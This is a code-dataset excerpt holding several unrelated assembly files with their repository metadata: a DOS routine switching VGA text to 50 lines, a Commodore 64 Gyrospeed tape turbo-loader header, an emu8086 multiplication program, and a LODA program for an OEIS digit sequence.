%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Change the screen to be 50-lines high CALLED BY: EXTERNAL PASS: nothing RETURN: nothing DESTROYED: eax, ecx, fs PSEUDO CODE/STRATEGY: This code comes from p.577 of "Programmer's Guide to the EGA and VGA Cards", by Richard F. Ferraro KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 7/26/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ public DosModeSet50Line DosModeSet50Line proc near push ebx ; ; Fetch current page. ; mov ah, 0fh int 10h mov bl, bh push bx ; ; Make page 0 the active one ; mov ax, 0500h int 10h ; ; Select 50 lines ; mov ax, 1202h ; 400 scan lines mov bl, 30h int 10h ; ; Perform a mode set without changing display mode ; mov ah, 0fh int 10h ; al <- current mode mov ah, 0 ; set mode int 10h ; ; Load 8x8 font in block 0 ; mov ax, 1112h mov bl, 0 int 10h ; ; Set bit 0 of 0:487h non-zero to enable cursor emulation ; mov ax, SS_DOSMEM mov fs, ax or byte ptr fs:[487h], 1 ; ; Set cursor position to a block from 0 to 6 ; mov cx, 0006h mov ah, 1 int 10h ; ; Reset bit 0 of 487h to disable cursor emulation. ; and byte ptr fs:[487h], not 1 ; ; Adjust the underline location. ; mov dx, 3d4h mov al, 14h out dx, al inc dx mov al, 07h ; set underline to line 7 out dx, al ; ; Reset the active page to its previous value. ; pop ax mov ah, 5 int 10h pop ebx ret DosModeSet50Line endp _CODE ends end
18.324324
78
0.560472
48283add58691420bb8ff74d1402de840cbadca0
4,595
asm
Assembly
src/GyrospeedWin/gyrospeed-header.asm
Stat-Mat/GyroSpeedWin
d1127b29d43b276085b4174c81c2f16f3ba9dc5d
[ "MIT" ]
4
2020-11-26T19:03:50.000Z
2021-12-13T17:52:51.000Z
src/GyrospeedWin/gyrospeed-header.asm
Stat-Mat/GyrospeedWin
d1127b29d43b276085b4174c81c2f16f3ba9dc5d
[ "MIT" ]
null
null
null
src/GyrospeedWin/gyrospeed-header.asm
Stat-Mat/GyrospeedWin
d1127b29d43b276085b4174c81c2f16f3ba9dc5d
[ "MIT" ]
null
null
null
*=$033c ; File type = $03 (PRG) BYTE $03 ; Start address of Gyrospeed boot routine ($02bc) BYTE $bc, $02 ; End address of Gyrospeed boot routine ($0304) BYTE $04, $03 ; Blank space for the filename (16 bytes) BYTE $20, $20, $20, $20, $20, $20, $20, $20 BYTE $20, $20, $20, $20, $20, $20, $20, $20 jsr SetupAndWaitForTurboPilot ; Setup default values lda #$00 sta $c1 sta $fd sta $fe ; Read in and setup the pointer to the crunched program's start address jsr ReadNextByte tay jsr ReadNextByte sta $c2 ; Read in and setup the pointer to beginning of the BASIC variable area (end of crunched program plus 1) jsr ReadNextByte sta $2d jsr ReadNextByte sta $2e Loop1 jsr ReadNextByte sta ($c1),y ; Now that we have read a full byte, copy it to its correct location ; Update the XOR checksum eor $fc sta $fc iny bne NoInc inc $c2 ; Check to see if we've reached the end of the crunched program data NoInc cpy $2d lda $c2 sbc $2e bcc Loop1 ; Read in the last byte which stores the XOR checksum of all the bytes and store it in $fb jsr ReadNextByte sta $fb ; Return back to the Gyrospeed boot routine rts SetupAndWaitForTurboPilot lda #$07 sta $01 ; Start the datasette motor lda #$0b sta $d011 ; Disable the screen ; Wait a little time for the motor to get up to speed ; Slightly iffy using whatever values happen to be in X and Y, but this is how it was... Wait dex bne Wait dey bne Wait sei ; disable IRQs sty $fc ; y is zero from loop above lda #$f8 sty $dd05 ; Set the value sta $dd04 ; for timer A ; Wait for the turbo pilot/sync-sequence ($40 x $40 followed by a single $5a) Loop2 jsr ReadNextBit rol $bd ; Move the bit read from the carry flag into bit 0 of $bd lda $bd cmp #$40 bne Loop2 ; Wait until the last full byte read = $40 Loop3 jsr ReadNextByte cmp #$40 beq Loop3 ; Keep reading full bytes whilst they are = $40 cmp #$5a ; Check to see if it's $5a, which marks the end of the pilot bne Loop2 rts ReadNextByte ; When this bit is rotated all the way to the carry flag, we know have read 8 bits lda #$01 sta $bd ; Reads in 8 bits to make a byte Loop4 jsr ReadNextBit rol $bd ; Rotate the bit read from the carry flag into bit 0 of $bd bcc Loop4 ; Load the byte into the accumulator lda $bd rts ReadNextBit ; Wait for bit 4 of $dc0d to be set (the cassette read line) which indicates a bit has been read lda #$10 WaitForBit bit $dc0d beq WaitForBit lda $dd0d ; Read the contents of the interrupt control and status register pha ; Push it onto the stack ; Reset timer A lda #$19 sta $dd0e jsr UpdateLoadingEffect pla ; Retrieve the contents of the interrupt control and status register from the stack ; Shift the timer A overflow bit (bit 0 in $dd0d) into the carry flag ; If this bit is a 1 (timeout ocurred), the bit we read from the tape is a 1, otherwise we read a 0. lsr rts ; This is where an alternative loading bars/border flashing effect routine can be inserted ; But for now, we just have the original ; Loading effects can be upto 0x1c bytes in length ; They can freely use $fc, $fd or the X register (all of which are zeroed at start-up ; and remain persistent between calls) and the accumulator (but not Y) ; Entropy can come from: ; ($c1),y which points to last byte read ; $bd which stores the gradually increasing bits of the byte currently being read ; But remember, they must be quick to execute (i.e. no delays) as they are called every time a bit is read UpdateLoadingEffect inc $d020 rts ; Padding bytes to make the file 192 bytes in length (i.e. the same size as the cassette buffer) BYTE $20, $20, $20, $20, $20, $20, $20, $20 BYTE $20, $20, $20, $20, $20, $20, $20, $20 BYTE $20, $20, $20, $20, $20, $20, $20, $20
30.230263
113
0.580413
1ac338edccac73b6eedac68d166167fd7db6ca6a
1,033
asm
Assembly
MySource/26-multiplication with func.asm
mdabdullahibnaharun/Assembly-Language
a56500622b961c7ecf9690ad9d2136c3e05ea1f7
[ "MIT" ]
null
null
null
MySource/26-multiplication with func.asm
mdabdullahibnaharun/Assembly-Language
a56500622b961c7ecf9690ad9d2136c3e05ea1f7
[ "MIT" ]
null
null
null
MySource/26-multiplication with func.asm
mdabdullahibnaharun/Assembly-Language
a56500622b961c7ecf9690ad9d2136c3e05ea1f7
[ "MIT" ]
null
null
null
org 100h include "emu8086.inc" .model small .stack 100h .data .code main proc call multiplication mov ah,4ch int 21h main endp DEFINE_SCAN_NUM DEFINE_PRINT_NUM DEFINE_PRINT_NUM_UNS DEFINE_PRINT_STRING multiplication proc print " First number : " mov ah,1 int 21h mov bl,al sub bl,48 printn print " Second Number : " int 21h mov cl,al sub cl,48 printn ;multi mov dl,0 ; to store sum for: cmp cl,0 je end_for shr cl,1 jnc check add dl,bl check: shl bl,1 jmp for end_for: ;output mov ah,2 int 21h ret multiplication endp end main ret
14.971014
34
0.39787
713a201d7aa6f663ca77faf3ef74972ff56eacc3
1,406
asm
Assembly
programs/oeis/102/A102039.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/102/A102039.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/102/A102039.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A102039: a(n) = a(n-1) + last digit of a(n-1), starting at 1. ; 1,2,4,8,16,22,24,28,36,42,44,48,56,62,64,68,76,82,84,88,96,102,104,108,116,122,124,128,136,142,144,148,156,162,164,168,176,182,184,188,196,202,204,208,216,222,224,228,236,242,244,248,256,262,264,268,276,282,284,288,296,302,304,308,316,322,324,328,336,342,344,348,356,362,364,368,376,382,384,388,396,402,404,408,416,422,424,428,436,442,444,448,456,462,464,468,476,482,484,488,496,502,504,508,516,522,524,528,536,542,544,548,556,562,564,568,576,582,584,588,596,602,604,608,616,622,624,628,636,642,644,648,656,662,664,668,676,682,684,688,696,702,704,708,716,722,724,728,736,742,744,748,756,762,764,768,776,782,784,788,796,802,804,808,816,822,824,828,836,842,844,848,856,862,864,868,876,882,884,888,896,902,904,908,916,922,924,928,936,942,944,948,956,962,964,968,976,982,984,988,996,1002,1004,1008,1016,1022,1024,1028,1036,1042,1044,1048,1056,1062,1064,1068,1076,1082,1084,1088,1096,1102,1104,1108,1116,1122,1124,1128,1136,1142,1144,1148,1156,1162,1164,1168,1176,1182,1184,1188,1196,1202,1204,1208,1216,1222,1224,1228,1236,1242 mov $2,$0 add $2,1 mov $5,$0 lpb $2 mov $0,$5 sub $2,1 sub $0,$2 sub $0,1 cal $0,267317 ; a(n) = final digit of 2^n-1. add $0,1 mov $4,$0 mul $0,2 mul $4,2 add $0,$4 cmp $6,0 add $3,$6 div $3,$3 add $3,1 mul $3,2 sub $3,2 mul $3,$0 sub $3,8 div $3,8 add $3,1 add $1,$3 lpe
46.866667
1,025
0.682788